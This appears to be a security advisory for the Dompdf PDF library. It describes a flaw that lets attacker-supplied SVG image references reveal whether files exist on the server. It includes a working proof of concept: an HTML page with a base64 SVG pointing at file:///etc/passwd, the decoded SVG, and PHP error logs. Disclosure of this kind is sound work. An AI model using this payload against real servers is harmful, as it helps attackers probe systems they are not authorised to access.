### Summary If a malicious actor can supply unrestricted content for rendering by Dompdf they can utilize the SVG rendering functionality to leak filesystem information when rendering PDF files using image references within a data-URI encoded SVG document. ### Details Using an `<image>` element inside a data-URI embedded SVG, an attacker can attempt to embed other files via the `href` or `xlink:href` attributes. When processing a file that does not exist (e.g. `file:///DOESNOTEXIST`), dompdf behaves differently than it does when accessing a file or directory that actually exists on the filesystem. ``` [Wed May 20 19:49:53 2026] PHP Warning: file_get_contents(file:///DOESNOTEXIST): Failed to open stream: No such file or directory in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 173 [Wed May 20 19:49:53 2026] PHP Notice: getimagesize(): Error reading from /tmp/svgsk9247ela7tm3SiqGyP! in vendor/dompdf/php-svg-lib/src/Svg/Surface/SurfaceCpdf.php on line 196 ``` ### PoC First, the attacker renders this HTML document: ``` <html> <head> </head> <body> <img src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwJSIgdmlld0JveD0iMCAwIDEwMCAxMDAiCiAgICAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxpbWFnZSB4bGluazpocmVmPSJmaWxlOi8vL2V0Yy9wYXNzd2QiIHg9IjAiIHk9IjAiIHdpZHRoPSIxMDAiIGhlaWdodD0iMTAwIj4KICAgIDwvc3ZnPgo="> Hello World! </body> </html> ``` The `<img>` tag contains the following SVG content: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///etc/passwd" x="0" y="0" width="100" height="100"> </svg> ``` As expected, the resulting PDF contains a broken image: <img width="621" height="193" alt="image" src="https://github.com/user-attachments/assets/b615fabe-c578-4435-bcb4-e9ad0ac796d2" /> However, when supplying a path to a file or directory that does not exist, for example: ```xml <?xml version="1.0" encoding="UTF-8" standalone="no"?> <svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <image xlink:href="file:///DOESNOTEXIST" x="0" y="0" width="100" height="100"> </svg> ``` The resulting PDF is rendered normally, with the image displayed as empty space (since the file did not exist). Additionally, for easier visual inspection, a rendering bug (https://github.com/dompdf/php-svg-lib/issues/142) is used to rotate the "Hello World!" text 180 degrees from the expected position: <img width="616" height="922" alt="image" src="https://github.com/user-attachments/assets/32f83aa5-8115-4b0f-8ac2-f7b75e2eeaa9" /> ### Impact By exploiting this vulnerability, an attacker is able to confirm the existence of files and directories located on the backend filesystem.
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